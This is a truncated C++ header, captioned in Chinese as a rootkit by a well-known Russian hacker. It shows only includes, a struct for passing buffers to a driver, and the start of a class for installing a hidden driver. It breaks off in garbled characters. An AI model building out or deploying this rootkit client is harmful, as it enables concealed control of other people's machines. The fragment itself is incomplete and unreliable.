ntdrivercontrolhide.hpp

尔罗斯著名黑客写的rootkit

#ifndef __NT_DRIVER_CONTROL_HIDE
 #define __NT_DRIVER_CONTROL_HIDE
#define STRICT

//#ifndef UNICODE
// #define UNICODE 1
//#endif

//#ifndef _UNICODE
// #define _UNICODE 1
//#endif

#include <windows.h>
#include <tchar.h>
#include <string.h>
#include <stdlib.h>
#include <crtdbg.h>
#include <stdio.h>

typedef  struct _USER_COMMAND
{
  DWORD     m_dwCommand;
  LPVOID    m_lpInBuffer;
  DWORD     m_dwInBufferSize;
  LPVOID    m_lpOutBuffer;
  DWORD     m_dwOutBufferSize;
  DWORD     m_dwBytesReturned;
 
  _USER_COMMAND(void)
  {
   memset(this, 0, sizeof(_USER_COMMAND));
  }
} USER_COMMAND, *PUSER_COMMAND;

class NtDriverControlHide
{
  public:
   BOOL           Result;
   OSVERSIONINFO  m_OSVer;
   TCHAR         *m_lpszDeviceFileName;

   NtDriverControlHide(const TCHAR *lpszDeviceFileName);
  ~NtDriverControlHide();

   BOOL           Install();
   //
   // 潆